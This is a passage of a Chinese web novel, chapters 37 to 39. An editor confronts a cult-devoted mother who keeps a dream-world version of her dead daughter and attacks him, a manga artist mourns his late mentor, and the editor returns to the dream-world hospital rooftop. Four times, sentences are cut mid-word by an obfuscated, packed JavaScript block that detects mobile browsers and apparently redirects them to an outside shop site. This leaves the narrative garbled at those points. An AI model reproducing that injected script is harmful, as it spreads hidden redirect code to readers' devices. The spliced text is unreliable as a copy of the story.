以及,在天台上的少女口中,提醒少女不要在夜晚上医院天台,否则就会发生不幸的那个“有人”。 天台上的胧车,应该是户田女士的添笔。 要么是她为了清理外敌而有意设置的障碍,要么就是她自身也无法控制的梦魇和心理阴影。 “为什么阻止她在夜晚上天台呢?”黑野编辑认真地望着户田女士,“究竟是为了保护她,害怕她再次遭遇不幸,还是害怕那条‘出院’的规则让她从那个世界消失,不愿意放她自由?” “当然是……”户田女士浑身颤抖,却说不出答案。 “这个问题或许不大对。”黑野编辑进行自我检讨,“对一位母亲来说,前者也是必然的答案之一,没有人愿意再经历一遍同样的悲剧……哪怕那并不会造成不可挽回的损失。 “据我所知,”他看着户田女士,说,“就算被胧车所害,在那个世界里也不会真的殒命,还有重新来过的机会。” 因为“鹰之助”已经试过了。 随着剧情发展,后期的“鹰之助”会拿着旧版的《病人守则》在医院里四处游荡。《病人守则》的内容也在病人中流传。 除了得到警告的“久世寿穗”外,会不会有其他病人角色去天台寻觅希望呢? “鹰之助”会不会去帮忙?会不会像帮助陌生的黑野编辑这般,奋不顾身地去拯救其他病人? 那个“鹰之助”究竟像这样被刷新过几次了? 可以从规则中确定的是,不管“鹰之助”去过几次天台,他没有一次存活到了能见证流星的时刻。 哪怕那不是真正的鹰之助,只是留存在他人记忆中的一个影子,可当黑野编辑想到自己下属的幻影遭遇了这种无妄之灾时,也感到有些生气。 “为什么要对那位‘久世寿穗’说,晚上去天台的话,就会让人失去重要的人? “是谁会失去重要的人?” 黑野编辑抓住了创作者的矛盾,“明明在你的期待里,她要一直坚强勇敢地与病魔搏斗。这个被创造出来的角色,是否知道她永远都不可能出院? “在她的作品里,看到流星后病愈出院,就是她为病人们祈愿的美好结局。 “而作为改编者,你在设计胧车的无限循环时,想要给这个作品安排怎样的结局?” “这不是什么作品,”户田女士愤怒于黑野编辑的用词,“这是我和我女儿的世界!我……我也没有办法,我不是故意让她受苦,可这个世界就只有这么大……我想要一直看着她……看到她长大……” “在儿科病房里长大。”黑野编辑冷静地补充定语,“在医院里过完一辈子,如果这就是你的期望。 “而如果你愿意的话,至少在这个故事里,她那如同西西弗斯般的命运是可以被终结的。” “……不!她是属于我的。”户田女士死死瞪着黑野编辑,其面目狰狞程度甚至远超过指责匣子差点毁掉小世界的时候,“她的依赖,她的痛苦,她的快乐,全都是属于我的。 “妈妈已经受过苦了啊……现在也该轮到她了,她总该走走妈妈走过的路,啊,那么辛苦,那么绝望,但是,没关系的,教主会给我们最终的救赎……” 她喃喃自语着,甚至露出了一个迷醉的笑容。 黑野编辑冷静地闭上眼,握住匣子,问,【这是特殊污染源的显现吗?】 【不。】匣子同样冷静地回答,【只是正常的人类发疯罢了。】 黑野编辑不算太意外。 只能暗自叹息。 【不过,我快要解析好她的精神了。她现在的情绪很复杂,受到了很多人类常见思潮的左右,但解析下来,没有什么新鲜的内容。】 匣子解释道,又补充说,【但是,我总觉得她谈论起信仰的态度很别扭,特别难懂。】 【要是能引导她暴露真实态度就好了。】 【哦,快了。】 黑野编辑心想,只要继续逼她面对自己,她最终一定会逃避到自己的信仰之中,在那些“奥秘”里寻求答案。 他睁开眼,看着眼前沉浸在自我意识中的户田女士。 在她彻底逃入另一个世界,重拾对现实不闻不问的态度之前,他说,“其实你是知道的——‘那都是骗人的。’” 户田女士看似态度摇摆不定,其实是话语中真假掺半,用谎话来隐藏真实。她当时那句指控中的愤怒悲痛绝非作伪。 黑野编辑习惯了挑出漫画作品中那些不能自圆其说的矛盾,展明了给创作者看。 他以这种近乎冷酷无情的态度,说道,“复一教的教派活动是骗人的,你用来安慰自己的新神启也是骗人的。 “那个世界是久世寿穗创造出来的奇迹,而不是来自什么教主的援助,你心知肚明。 “否则,在你添加规则后,连谋杀久世寿穗的真凶都在那个世界拥有一席之地,为何却连一点关于你那个教主的元素都没有?” “你懂什么?”户田女士立刻找到理由反驳,“教主的光辉岂能如此轻易地宣示!只要我心中感念教主的恩义,我……何必将其宣之于世?” 黑野编辑没有在意她的辩驳,自欺欺人的愚信者总能找到理由。 “那个世界里的‘女儿’,只是虚假的安慰。在装作我耳边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955056|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音的时候,你曾清楚无误地告诉过我,‘久世寿穗就是死在天台上的’。” “那只是为了骗你!”户田女士大声说,“如果不将你困在我女儿的世界里,谁知道那个该死的声音的主人会对我女儿的世界做出什么!?” 匣子立刻给出反应,【我又不是什么暴力破坏狂。】 但两个人类都没有搭理它。 黑野编辑语气平静继续追问,“那么,你每天都能见到‘久世寿穗’,一点都不寂寞,又是为什么,想要和难得的外人来聊聊她呢?” 户田女士愣了一下,随即破口怒吼,“你住口!” 她伸手就想要给黑野编辑一巴掌,却被对方牢牢抓住了手腕。 她的手腕在对方的手掌中剧烈地发抖。 害怕对方举出更多的证据,户田女士急急地给出威胁,“不要再妄图挑拨破坏我们母女的关系了!” “她是真的,我们的教主也是全能的。”她瞪着黑野编辑,喘着气说,“你是我们教派的敌人,是的,教主会惩罚你们的。 “对了,”她阴恻恻地笑了起来,“你也来加入吧,只要你也来崇拜我们的教主,我就请求教主放过你们的过错。” 【我分析好了……躲开!】 户田女士空着的那只手,已经从枕头底下抽出了一件细长的雕像,口里喃喃念着什么祷词,就向黑野编辑的额头上砸了下来,“教主会祝福你的!” 黑野编辑松开了握住户田女士手腕的那只手,试图后退拉开距离,却被户田女士反手抓住手臂,且借力倾身逼了上来。 他不好对着女性反守为攻,只得丢开另一只手的拐杖,曲肘格挡。 “黑野老师!”一个熟悉且错误的称呼在耳边响起。 是鹰之助的声音。 有人从侧边冲过来了。黑野编辑什么都没有看清,他的视野被新加入搏斗的人挡住了。但危险警报很快就解除,取而代之的是匣子苦闷的声音,【你还好吗?别老想着住院了,让我直接治好你的腿吧?】 黑野编辑捡回拐杖,站开一步,看见户田女士已经被体育生控制住,按倒在了病床上。 “发生什么了?”鹰之助行动很快,但其实还不了解局势,“为什么她会攻击你? “是昨天没吃压制幻听的药,病情发作了吗?” “你刚来?”黑野编辑冷静地问。 他回头,看见了被鹰之助抛弃在病房门口的公文包,以及满脸迷惑惊恐,正站在病房门口往内探望的东云茜。 与此同时,他得到来自鹰之助和匣子的双重肯定答案。 病房门敞开着,很快有路过的护士发现不对劲,急匆匆赶过来询问情况,省了黑野编辑按呼唤铃的功夫。 鹰之助立刻作证,说是见到隔壁床的病人先持硬物袭击黑野编辑的。 黑野编辑弯腰拾起那件雕像,份量有些压手,他认真看了几眼,才交给护士检查。 护士深吸了口气,显然认出了这确实是户田女士的随身物品。 或许护士还知道这究竟是什么物品。 在医院里,为避免冲突,医护们在提供医疗服务时,往往都会额外留意患者的特殊宗教信仰。 37.探病的漫画家 户田女士仍在拼命挣扎,面容狰狞,口中念念有词,却对护士的询问置之不理。 鹰之助毕竟是接受过义工培训的体育生,在控制病人上也很专业,在不施加多余伤害的前提下,牢牢限制住了她的行动。 护士看了几眼,交待鹰之助继续控制好户田女士,不要放手。 然后急匆匆离开,去找主治医生和其他帮手来。 户田女士挣扎几次后,终于虚脱般地放弃了行动,但她的情绪仍未退潮。 她死死盯着黑野编辑,口中仍在辩驳,“寿穗她,寿穗她…… “我只是为了她好。她没有死,她还活着,她还能长大,她总能长到能体谅母亲……”她语无伦次地说着,“能原谅我当初抛弃她的那一天……” 黑野编辑深深拧起了眉,意识到那件天台惨案背后藏着的,不仅是前任院长的疯狂,或许还有更多的黑暗。 用各种手段控制人心、摧残人性的教派…… 复一教。 他难得感受到如此深重的愤怒。 “那个无情的男人不也死掉了吗?”户田女士发出了复仇般的吃吃笑声,“在那个世界里,他被老不死的家伙撞下了天台,醒来后竟然在现实里也跳楼自杀了。 “哈哈。真懦弱啊,他该再被老不死的多撞几次。 “老不死的也早就死了——现在只剩下我们母女相依为命。寿穗只有我了,她一定能够原谅我……” 她语调减弱,闭上眼睛,“寿穗,寿穗,我要去见她了。” 户田女士不再对外界作出反应了,重新陷入那种对外界不闻不问的痴迷转态。 主治医生很快就带着帮手赶过来,询问了一下事情经过,评估确认户田女士的病情后,决定将其转到特殊病房进行看管。 同时也嘱咐黑野编辑,若下次再遇到对方,或是其他有特殊宗教信仰的人群,尽量不要与其深谈,更不要起口头上的争执。 “她在闲聊中向我透露出一些事实,我判断那个教派的活动已经违反了《宗教法人法》的相关规定。”黑野编辑没有忽视医护人员面容上露出来的难色,“不需要你们处理,我会自行向相关部门进行举报。 “另外,我个人不追究她此次在医院内的攻击行为。” 后面这句话明显让医护人员们都松了口气。他们也是遭遇了无妄之灾。 护士顺便送来了昨日的CT检查报告。黑野编辑认真地一页页翻看过去,鹰之助也探头过来,只能看懂文字总结,一眼过后明显松了口气。 【这种仪器的精度还不如我呢。】匣子给出评价,【你担心身体的话,我帮你拍一张就好了。】 不。黑野编辑不会采纳嫌疑犯的自证。 不过,眼前的CT报告确实不存在问题,暂时可以进一步降低器质性病变的假设权重。 黑野编辑的心情不由愉快起来。 【我已经解析好对方的精神链接入口,我们又能重新进入那个世界了。】匣子报告,【要追上去吗?】 黑野编辑看了眼满脸担忧的鹰之助和不知所措的东云茜,微微摇头。 现在是工作时间。 而且,以他从事编辑工作的经验来说,将人逼得太紧也不好。 该对户田女士说的话都已经说过了,在继续面对逼迫的情况下,她不愿意退后一步去思考的。 给她一点独处的空间,或许有意想不到的作用。 就算她想不开,情况也不会比现在更坏。 至少对匣子来说,她越走极端,匣子的目标可能越容易达成。 黑野编辑刚刚已经忙里抽空,向东云茜打过招呼了,现在才能切换到工作状态,正式招待这位特地来拜访自己的漫画家。 他暂未弄清楚鹰之助为何要将其带来,首先要操心的是,对方是否又遇上什么创作上的困难。 但他在樱岛的职场待了这么久,基本的社交规矩也还是懂的,知道不能上来立刻就问对方的痛处,只好先客套地例行寒暄。 东云茜有些紧张,十分客气地答话。 他对先前的情况表示谅解。这里发生的事情他也都看在眼里了,不会觉得被晾在一边是编辑们的有意慢待,反倒是有些惶恐,内心开始检讨自己突然上门的冒昧。 有鹰之助在旁边调节气氛,适时解说,什么谈话都会变得大方坦诚。 短短几句交谈来往后,东云茜也放开了,直接道明来意。 他此行前来并非讨教对《夜樱》的意见,而是来道谢的。 “……我先前对自己的漫画有一些不自量力、不切实际的要求,是黑野老师您及时点醒了我。”东云茜跟着鹰之助沿用错误的称呼,“非常感谢您的指导!” 为了说这句话而单独来一趟,他的态度很诚恳端正了。 东云茜早就想来道谢,但在修改好《夜樱》的内容前,他自觉没拿出成绩就不好意思上门。 《夜樱》里的新角色又莫名其妙地有些神似这位编辑,他不管怎么修改,心里都觉得还是像,好像有个声音追着喊着这就是他的编辑一样。 他没办法,将涂得面目全非的角色又改回去了些。这下,他对漫画的感觉是心里踏实了,对编辑则更心虚了,很担心对方会觉得被冒犯。 他只好先托鹰之助拿给黑野编辑看,等分镜得到认可后,他才终于有了点底气,敢上门来探病。 在黑野编辑的职业生涯中,这种道谢并不少见。 指出问题本是漫画编辑该做的事情,不因此被漫画家记恨就是不错的结果了,他从不指望回报,大家共同做出好作品才是最重要的。 哪怕他自认为不必要,但多年的工作经验,也让他知道不能回避这种心意。 他熟练地接受谢意并回应以鼓励,肯定了《夜樱》如今的新气象新面貌。 可东云茜得到编辑的夸赞后,反而退缩起来,将小心藏了许久的怀疑问出口,“其实,我是不是没有资格发表《夜樱》了?” 那段时日里,他沉浸在画不好《夜樱》剧情的痛苦之中,日夜颠倒,浑浑噩噩,连记忆都不甚清晰,可他依稀记得,自己的身体好像是出了些问题的。 后来,编辑上门拜访,外人的介入让他勉强恢复了清醒。 他还记得谈话的前半部分,可是后来……是地震?停电?还是别的什么?他记不清楚了。 受到黑野编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962732|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辑的言语震撼后,他好像深深陷在一个关于《夜樱》的梦里,可偶尔眼前又会闪过一些不合时宜的画面与片段,关于恐怖的海兽肢体,关于晃动的房屋,关于鹰之助的面孔。 东云茜终于从噩梦中清醒过来,却看到了从房屋建筑到身体健康都一切如常的景象。 房屋没有任何损毁。身体上的奇怪海生类附件都消失无踪。 记忆中的那些混乱景象好像都从未发生过,只除了被撕掉的半本《夜樱》旧稿,以及莫名淋了暴雨重新入院的黑野编辑。 成年人的理性告诉他,最好就是将所有的一切都当做没有发生过。 可是,当《夜樱》的分镜工作告一段落后,被他刻意忽视的恐慌难以抑制地再度涌上心头。 他毕竟已经清醒过来了,他越回想那段浑浑噩噩的时光,越无法欺骗自己。 那些异变……会不会其实是自己的异能? 他无比害怕这个可能性,甚至一度不敢主动询问编辑这件事情。 鹰之助倒是态度如常地继续上门来讨论《夜樱》作品,可鹰之助这个人太好了,东云茜老担心他只是照顾自己的情绪,才不提负面消息。 东云茜现在也不敢将异能两个字说出口,提问听上去有些不明不白,但两位编辑很快都反应过来他说的是什么。 鹰之助立刻转头看黑野编辑的脸色。 最早给出异能猜测的人是鹰之助,现在看起来倒是鹰之助先心软了,想要放过这个可能性。 不过,黑野编辑大约能够理解鹰之助的想法。 而且,若匣子的说法为真,那么东云茜就是无辜的了。 黑野编辑首先询问东云茜的意愿,“你想要公开发表《夜樱》吗?” 这个问题让东云茜的脸色更白了一点,但他还是努力给出回答,“《夜樱》对我很重要。” 他又摇摇头说,“不是过去我以为的那种重要,但仍然很重要。 “那段时间的我,好像活在一场大梦里,幸好有您点醒了我,我才能真正审视《夜樱》对我的意义……虽然那不是她的愿望,是我的一厢情愿,可是,我还是想要继续画下去,我无法将已经开始的故事停下来,我必须给菜菜子、给佐伯雄一个圆满的结局。” 他深深吸了口气,作出决定,“……就算最后无法被刊用,我也会完成它。” 黑野编辑斟酌着词句,给出答案,“关于你是否具备异能这件事,杂志社不会给你担保。” 若是在过去几年,他会提出由自己担保。 如今的话,他倒是愿意担保,可毕竟已有回国的打算了,就算他想要自己背负下来,那些麻烦最终还是要丢给社长和社里的其他编辑的。 “不过,如果没有足够的证据,我们也不能随随便便给一位清白的漫画家安上异能的污名,直接拒稿。”无关人情,这是从理性出发而考虑到的事情,“这会破坏新人赏赛事的公平性。” 黑野编辑说,“现有的科技水平无法检测一个人是否具备异能。要以这种理由拒稿,杂志社必须拿出能说服所有参赛者的证据。” 他转头问鹰之助,“那天在现场事后收拾的时候,你收集到证据了吗?” 38.夜樱往事 鹰之助立刻忙不迭地摇头。 黑野编辑看回东云茜,“你想要主动向杂志社报告自己的异能情况吗?——你能证明自己现在身具异能吗?” 东云茜咬了咬牙,说,“我没有异能。” 自那天醒来后,他的身体就一切正常了。哪怕他刻意将自己泡在浴缸里憋气,在他坚持不住浮上水面之前,也没有重新长出腮来。 “如果你身具异能却瞒报情况,日后被人举报揭发的话,杂志社会依法向你追究相关经济损失。”黑野编辑公事公办地宣读。 “当然,举报人也必须能够提出足够的证据,证明你早就知道自己身具异能,且在漫画连载期间仍持有异能。” 他不确定这会不会吓退东云茜,但身为黑野社的编辑,这些话必须要说。 之所以特地指出在漫画连载期间,是因为官方对异能者的态度,在表面上是既往不咎的。 为了鼓励那些觉醒异能的青少年主动报告异能,主动向成年人求助,从而避免他们制造更多的麻烦,官方只对异能本身开展负面宣传,对那些在社会帮助下“恢复正常”的普通人则很宽容。 每个被登记的异能者在发现自身异能消失后,都可以主动向官方机构报告。 只要经过半年的公示期,无人对其进行使用异能方面的举报,这位曾经的异能者就能申请封存相关的公开档案,避免过去的异能者身份影响自己的升学就业。 成为漫画家,自然也是就业的一种。 东云茜现在都已经无法证明自己有异能,就算去登记,前置的申报流程都无法被受理,当然不用特地去重头走流程,再多等待半年的公示期。 “……我不知道。”东云茜慌乱地说。他开始冥思苦想地回忆,当自己身体出现异常后,是否曾被其他人发现相关情况。 他那段时间过得很混乱,但某种樱岛人的本能,让他习惯性地遮掩着自己的与众不同。 而且他向来独居,很少与外界接触。住所又偏僻,连上门的推销员都没几个。 “当然,也有可能,你现在不确定自己身上是否潜藏着异能,不确定未来会否觉醒异能,”黑野编辑继续说道,“毕竟未来的事都是不可预知的。 “而在关于未来的问题上,杂志社从来是与漫画家共同承担风险。” 这并非为东云茜提供脱罪的借口。黑野编辑暂时愿意采信匣子和自己负责的漫画家的话语。 那次的异变不是异能。 但谁又说得准东云茜身上是否存在其他异能呢? 擅长考虑所有可能性的黑野编辑,提前说明,“假如你在未来觉醒异能,你有义务主动向杂志社报告。 “我们则会及时向有关部门报告,按照法规办事,需要处理的内容可能包括公开道歉,中止漫画连载,追回已刊发的连载刊物等,而你也必须退回全部稿费。” 在他任编辑期间,对所有的漫画家都是如此处理的,此次也一视同仁,“这些你可以接受吗?” 东云茜很感动。 他知道,在这样的处理方式中,事实上承担更大风险的,是需要追回所有已刊发期刊的杂志社。虽然杂志社可以用购置保险的方式来避免过重的经济损失,但向漫画家提供合约并且负责其“心理问题”的编辑本人,则难免要引咎受过。 “绝对不会发生这种事的。”东云茜认真说道。 “您可以考验我!”他下定决心,哪怕哪天真发现自己身有异能,也一定要瞒到死。 【考验?要我来帮忙设计考验内容吗?】匣子摩拳擦掌。 “这就不必了。”黑野编辑简单地结束这个话题。 他又想起一件事,“《夜樱》是你自己的漫画,你确定笔名还要用东云茜吗?” 东云茜的神色变得惆怅起来,最后点点头,说,“嗯,这是我的希望。是一个纪念。 “不管以后我想要画什么,这个笔名都会提醒我,不要忘了她。” 鹰之助今天起了个大早,他先出发去接东云茜,待会看望完黑野编辑后,还要顺路载东云茜去樱京,为早见芽扫墓。 “其实我有些怕去看她。”东云茜垂着头说,“有很多话,她活着的时候没有对她说,现在就更加无法开口了。 他朋友不多,眼前这两位编辑,是唯一知道他与早见芽的关系的人,是能提起这些事情的人。 “您之前说出她的名字时,我吓了一大跳,我没想到有人能猜出来。事实上,就算在那个业内,也很少有人知道她有我这样一个助手。 “毕竟,我和她性别不同嘛。” 东云茜抬头对黑野编辑笑笑,问,“明明这样,却去做她的助手,一男一女住在一起,画那种漫画,是不是很奇怪?” 这句话又好像是在自问。 东云茜很感激黑野编辑在这时给出了平静的表情。他不知道该如何承受其他回应。 “我最初刚毕业时,也不知道自己想要做什么。大学时乱七八糟看了太多书,以为自己想得很多,反而觉得做什么都好像没有意义。于是我无所事事,没有去处,在外人眼中是混的很差劲的那种人。 “我算是被她捡回去收留的。她做哪行我就只能跟着做哪行,是顺理成章的事,都没想过什么对不对,好不好,害臊不害臊。 “她低落的时候是真低落,但开心的时候也是真开心,不管做什么事,情绪都很有感染力。我知道那是精神疾病的症状,可还是忍不住被吸引。我不知道自己想要做什么,就跟着她去做。她说我有天赋,画得好,我就跟着她一直画。 “我和她一起工作,一起生活,我不知道别人怎么看待这种生活,也没有别人来介入这种生活。但渐渐地,我好像能够真正看到这个世界,能够看到书以外的事物和人物了。 “我能看到她的存在,能看到乱糟糟的屋子和要做的家务,能看到明明帮她数好了可她总是忘了吃又或是吃过头了的药物,能看到被她喂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968197|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而一直跟到家里来的流浪猫,能看到让她病情发作的那些网络讨论和留言,能看到寄到家里来的催债单和色情录像带。 “我知道她欠了债,我不缺钱,可是她不肯要,她说要了也填不上,没必要拖累我。 “她也不收我房租,只肯接受我帮她画画。她说我画得好,还问我有没有想过画点别的。那会儿我很害怕,我觉得她想要赶我去画别的。 “那时的我其实什么都不想画,我只是想要帮她。事实上是她在帮我,她教会了我画画……直到现在都还在帮我。” 东云茜的眼泪掉了下来。 “她很多事情都不肯告诉我,不告诉我到底欠了多少债,不告诉我债是哪里来的。不告诉我为什么要从事那个职业。 “——不告诉我她究竟想要画什么样的漫画。” “节哀。”黑野编辑及时出声。他不想眼前的漫画家再次钻回牛角尖里。 鹰之助也忍不住问,“你和她……” “我们之间什么都没有发生。”东云茜很坦然地给出答案。 “也不可能发生。” 他回忆起当年的生平相处,“我们在一起的时候,为了工作,会画各种……大尺度的事物,也会参阅很多那种资料。但那只是工作资料,对她来说,对我来说,都是如此。 “在工作时我们会互相说,‘喂,你去给所有的XX贴网点吧’‘这回轮到你画XX了’‘你想想下页换哪个姿势好’,明明谈话内容在别人听来很不堪,但都只是寻寻常常的事,谁也不会多想,更不会有害羞那种无聊的想法。 “反而到了真正聊天的时候,我们绝不会谈论这种工作相关的话题,连谐音都会小心翼翼地避开……毕竟我们性别不同,想法是不一样的。” 他的语调里带着苦涩,“我不知道她怎么想,我觉得自己最好什么都不要想。我们好像也还算有点默契,从来不去谈什么感情。因为那实在影响工作,而在工作之余,这种事也很像一个笑话。” 他顿了一刻,低声说,“而那些事,现在就更加不可能对着她的墓碑去谈论了。” 这种事,旁人是不好劝慰的,只能等当事人自己去化解。 两位编辑都只是静静地做听众。 东云茜自己也知道这点,站起身来,勉强笑着说,“能对你们说出来这些,我感觉好多了,待会大概也能更轻松地去见她吧。 “你们是不是还有事情要聊?我去旁边坐一会儿吧。” 正好隔壁床的病人已经被搬走了,病房显得很宽敞,东云茜搬着椅子去那边的窗下坐着了。 他背对着编辑们,独自望着窗外出神。 鹰之助在汇报前掏出了自己的笔记本,翻页时,视线简单停留在其中那个名字上。 东云茜。 这是一个差点被送给早逝女漫画家,却没能送出去的,如同绚烂朝霞般充满希望的笔名。想必会作为纪念,伴随这位误打误撞入行的漫画家一生吧。 39.四上天台 鹰之助汇报完昨天回杂志社后与其他漫画家的联络工作,又关心起黑野编辑这边的情况。 尤其是这家医院的管理疏漏,在他看来已经越发难以容忍了。要不是黑野编辑赶人,他都想要放下其他工作,留下来陪夜了。 黑野编辑义正言辞地拒绝了他。 又想起另外一件事情需要向鹰之助确认,“当初你在这里做义工的时候,是不是认识一个名叫寿穗的女孩?” 鹰之助很努力地回忆了一会儿,让黑野编辑心想,博爱的人果然都无情。 难怪昨天在天台上义工和病人谁都没能认出谁。 但鹰之助到底想了起来,“是那个老是在晚上偷溜出病房,个头矮矮的小女孩吧?” 他在各地工作时结识的人太多了。他解释说他一般凭感觉记人,而不是靠姓名,所以回想得比较慢。 黑野编辑心想,他对黑野老师这个称呼倒是记得很快,又难怪他从来不问自己的真名。 鹰之助自称当初和寿穗关系不错,有些好奇地反问为何黑野编辑突然问起这个。 黑野编辑没有向年轻人隐瞒那件天台惨案的必要,但又不愿意立刻告诉他。 他有种不好的推测,不是很希望去亲身验证——假如鹰之助知道这家医院还有更大的丑闻,年轻人热血上头,固执起来,没准会强行动手,连夜带他跑路。 “下次再说。”黑野编辑无视了年轻人惊讶好奇又委屈失落的眼神,直接询问,“当初,你和她分享过什么秘密吗?” 鹰之助还沉浸在之前的情绪中,但依旧认真想了想,更加困惑地回答,“没有?” 他的表现还算坦然。 黑野编辑愿意相信这个回答。 他打算赶助手回岗位去干活了,又下意识看了一眼东云茜。 在两位编辑谈话的时候,东云茜已经平复情绪,离开了窗口,走到走廊上,正安静地观察着什么,视线不时变化一下落点。 黑野编辑知道那是漫画家在捕捉细节的眼神。 《夜樱》后续里会出现医院的场景,东云茜来到这里,不会放过顺便为此增添素材的机会。 他心中一动,在鹰之助带着东云茜离开前,请求漫画家稍微花费几分钟时间,帮忙画了一副简单的小画。 专业的事情,还是得交给专业的人去做才好。 再次进入《病人守则》世界的时候,黑野编辑依旧身处病房。 病房内的一切静物细节都以假乱真,只有周围突然消失的人声,昭示着已经暗中换了世界。 这会儿是下午,还在白昼,应该是在户田女士的创作范围内。 按理来说,这里应该要同昨日一样,完全描摹复制真实的医院世界,就连医护的走动、就诊的人流都保留下来的。 毕竟,这里其实是一个让“久世寿穗”继续成长的模拟生态箱。 可不知为何,外面安静得像是一个无人区,连仪器的电子噪声都消失了,静得阴森诡异。 黑野编辑面无惧色地起身去探索。 外面的建筑结构也不一样了。走廊变成封闭的了。电梯和楼梯都消失不见。 要出去的话,可能得跳窗。 【我这里有积分兑换的降落伞。】 黑野编辑拒绝了。 在“鹰之助”那里,他并没有将《病人守则》看全,谁知道跳窗这种危险的行动会不会对应着什么规则警告。 而且,他想要去的地方在高处,仅靠降落是无法抵达的。 【客人别走!】匣子急忙推销,【滑翔翼、热气球、直升机,甚至机甲,都可以的!无论你是想要化身怪盗,还是想要变身未来战士,我都能为你提供最贴心的支持。】 黑野编辑依旧拒绝了。 这里的变化肯定和户田女士的心境转变有关。 她看起来想要将自己困在病房里。这样的话,窗户作为直观的唯一出口,极有可能被提前布设了陷阱。 他可不想一出窗就撞上胧车。 【……我觉得你只是想要千方百计地拒绝开启积分使用系统,】匣子嘟囔着,【狡诈的人类,小气鬼。】 黑野编辑直面本心,承认这也是原因之一。 匣子的方案都太花哨了,不符合他的风格。 而且,明明有更方便的能够避开所有障碍和陷阱的捷径。 他要求匣子带他回到现实世界的病房中,随后熟门熟路地杵着拐杖上天台遛弯。 不是坐轮椅没有安全感,而是鹰之助不在,他不想费事推着轮椅爬楼梯。 在现实世界里,除了那段为轮椅制造障碍的楼梯,所有通道都是畅通无阻的。 匣子有些尴尬,忍不住发言,【其实,进入那个世界的落点,并不一定和你实际身处的位置挂钩的……大部分虚构小世界也根本没有能和现实世界挂钩的原型地点。像《夜樱》的世界就是。】 又补充说,【不过,在你身上可能是有这样的规律。毕竟你是个固执得连衣服都要原装带进去的家伙。】 没错。 重新登陆那个世界后,黑野编辑依旧站在医院的天台上,身上也套着自己的病号服。 如同昨天一般,白日的天台上还站着另一位女性。 她在天台的正中间支起了画架,正专心地在画板上涂抹着颜料,只对刚登上天台的来客露出一副背影。 黑野编辑走过去,说,“天快黑了。” 女性手中的画笔顿住了,却没有放下来。 黑野编辑站得够近,现在能看清画板上的内容。 画纸上堆满了鲜艳的色彩,似乎是一副抽象画,展现着画者混乱的内心。 但抽象画并非毫无章法。 从整体用色、下意识的画面均衡度和笔触上,仍看得出,画者具备一定功底,应当是科班出身。 《病人守则》世界中的一切细节,都取材于现实。 “久世寿穗”那85分的素描写生,不可能出自一位儿童之手,不会是久世寿穗生前的作品,也不可能靠着一个“孩子有天赋”的概念,就从家长的臆想中凭空生出来。 那么必定另有来源。 眼前这位女性的能力,大概就是其来源。 黑野编辑十分满意。 他喜欢这种不断发现新证据,让已有的推论更加严丝合缝,每一个伏笔都被妥妥当当回收的感觉。 那位女性终于搁笔,转过身来。她的年纪比昨日看见的“久世寿穗”要大许多,又比今日见过的户田女士要年轻许多。 她瞪着擅自走过来的黑野编辑。 就算匣子不指出精神波动的特征,黑野编辑也不会错认,这是户田女士的眼神。 “你又来打扰我了。”虽然声音更年轻了,但已然苍老的语调是改不掉的,“就因为你的挑拨,我和女儿吵了一架,你干的恶事还不够吗?” 我并没有对“久世寿穗”说什么。 黑野编辑没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983233|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有将这句话说出口。因为那个“久世寿穗”就住在户田女士心里。 户田女士的内心出现了动摇,他确实负有责任 “你和她吵架了,”黑野编辑问,“她现在在哪?” “走开。”户田女士说,“我不想和你说话了。” “你在这里做什么?”黑野编辑继续问,“你应该很久没来过这里了。” 他刚刚在现实世界里登上天台,才发现“久世寿穗”素描画里的风景,每次他在《病人守则》世界里见到的天台风景,包括现在他眼前的风景,都是旧的。 “哪怕上来过一次,你都应该知道,那一片的旧工厂已经拆掉了。” “关你什么事!?” 户田女士不愿意上天台的理由也很容易找。 从情感上来说,大多数人都不肯重回伤心地。 而从理性角度来说,这个世界里的天台关联着两个规则,一个很危险,另一个,站在户田女士的角度来看,可能更加危险。 她不仅告诫“久世寿穗”不要在夜晚来天台,而且也身体力行——那个“假匣子”的声音,当初就止步于天台门的背后。 